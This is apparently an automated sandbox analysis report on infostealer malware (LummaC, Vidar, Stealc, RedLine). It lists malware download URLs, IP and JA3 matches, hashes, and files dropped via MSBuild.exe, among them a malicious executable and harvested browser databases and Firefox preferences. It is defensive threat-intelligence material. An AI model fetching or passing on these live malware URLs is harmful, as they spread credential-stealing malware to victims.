Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
AKAMAI-ASUS	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	23.47.168.24
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	96.17.64.189
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.11282.4102.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
VAKPoltavaUkraineUA	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	13.107.246.45
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Audio_Msg..00293614554893Transcript.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.DownLoader47.43340.12576.1316.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://xdr.euw31usea1-carbonhelixbytedandomaincontrolpanele-for-github.sentinelone.net/	Get hash	malicious	Unknown	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.11282.4102.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	104.102.49.254
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
37f463bf4616ecd445d4a1937da06e19	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.FileRepMalware.12793.28433.exe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	out.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PEDIDO-144848.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIIJDAAA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721600386987204
Encrypted:	false
SSDEEP:	12288:VDyHj9OPDUcFkkshpP584sKisQiAGLuV54S:Vi9Ozkkse4lLOo
MD5:	3EFC73BB21B794BC0F39690FC48A4853
SHA1:	875A2B39260DB4C24C9C53B351D808EDF0D6E019
SHA-256:	93BD0A8B49C37AE06B2F371F4FD1BE25228033121411EE4B19BDF932396E94EC
SHA-512:	8EE52386BAFC2848CF9C10A76943BB81B028E29043A269DEA2EFDEB92A69AC04CFC14BE7C59F501855CE455DA62BB361A725E09A244C0D440DC2884C0055789A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L...C..g...............).....b......Ro.......0....@.......................................@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\AKJDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\CAAKKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\CGIDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\EGIDAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\GHJEGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\GHJEGC-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\HDAKJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\HDAKJD-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\HJEHIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\IJKJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\JJJJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKFBAFIDAEB\KJDGDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_AAFIIJDAAA.exe_df0fc59aeb11a2d1a621d6ed74a333b6643f_1a6f07aa_35386c88-4b07-4fea-b8d4-947107ccb7cb\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6507023077807518
Encrypted:	false
SSDEEP:	96:hnFOz+u0O3MaN/sEynOAafuQXIDcQvc6QcEVcw3cE//+HbHg/5hZAX/d5FMT2Sll:xXucaN/30BU/YjhzuiFuZ24IO8Kv
MD5:	1AA6A6D0C43A5D53D34E1FC9CDC994A6
SHA1:	649D7C77C20B0C7E29083B0340679E5BB626BBDA
SHA-256:	0DCDC59399487856798D22AB330948B5AF26C98730475A86802D76E45F8DCDDA
SHA-512:	EFDE3B5FFDCB15FF21C52A196C002E2651D44E4172EAFB514E6D541FA6A53D39FF41EBA3BB6805347CD1DD0840B781A8F145A81FB2483F15EBD263C330D35EC5
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.2.1.9.4.8.8.6.6.8.4.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.2.1.9.4.9.1.4.8.0.9.1.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.5.3.8.6.c.8.8.-.4.b.0.7.-.4.f.e.a.-.b.8.d.4.-.9.4.7.1.0.7.c.c.b.7.c.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.0.3.3.a.5.e.b.-.3.5.7.d.-.4.4.d.6.-.8.8.5.9.-.2.2.8.4.d.0.c.6.3.1.c.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.A.F.I.I.J.D.A.A.A...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.2.0.-.0.0.0.1.-.0.0.1.4.-.a.d.9.d.-.e.c.6.a.1.b.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.8.7.5.a.2.b.3.9.2.6.0.d.b.4.c.2.4.c.9.c.5.3.b.3.5.1.d.8.0.8.e.d.f.0.d.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_T2bmenoX1o.exe_3b99501f55e643d06cea436478a9b13db631_f91b178e_3d2f18a9-e078-4fae-afe5-3b8435592b9a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6525672004018169
Encrypted:	false
SSDEEP:	96:mwF7hXJ70NwhFs2yqsA/fxQXIDcQvc6QcEVcw3cE/n+HbHg/5hZAX/d5FMT2SlPi:LhhJ7iwhFY0BU/gjhzuiFHZ24IO8Z
MD5:	0C4709755328733B9212BA39C59379A2
SHA1:	1FDF42565B9C780F86F1A9550BC2BEE8712E8090
SHA-256:	D870C24755F4FF8D53E4046FDD225D69EC83D9D766337DE3FAA012266DC9013B
SHA-512:	594785D36EDD7B8C609D2E16065B58090D7D7206DE9305C5AB7FE64F17A5344FDE2394BE5D5488141AA72D428BC289D3AFB5007C17087F6F85097EE303604394
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.2.1.8.9.5.4.4.2.3.8.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.2.1.8.9.5.8.0.1.7.5.9.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.d.2.f.1.8.a.9.-.e.0.7.8.-.4.f.a.e.-.a.f.e.5.-.3.b.8.4.3.5.5.9.2.b.9.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.2.6.f.3.7.2.8.-.a.e.d.3.-.4.f.d.5.-.a.e.a.7.-.2.a.6.e.7.7.3.4.6.6.c.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.T.2.b.m.e.n.o.X.1.o...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.7.4.-.0.0.0.1.-.0.0.1.4.-.2.e.f.f.-.e.a.4.a.1.b.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.3.1.6.2.7.6.a.c.4.4.0.f.6.5.3.6.1.d.b.5.2.e.4.9.a.7.f.c.4.d.2.a.9.b.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 00:44:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34012
Entropy (8bit):	1.7073490646537037
Encrypted:	false
SSDEEP:	96:558ySQa6zJWsEsSjQxbqi77UWTZWqq0677Ga+8x6g7BWIkWIn4I4JfrWt0Q7mfM:wJevtbqOXW9067c8sCJfrWt0Q7mf
MD5:	60216F93874A9382FBE127A02B351AD0
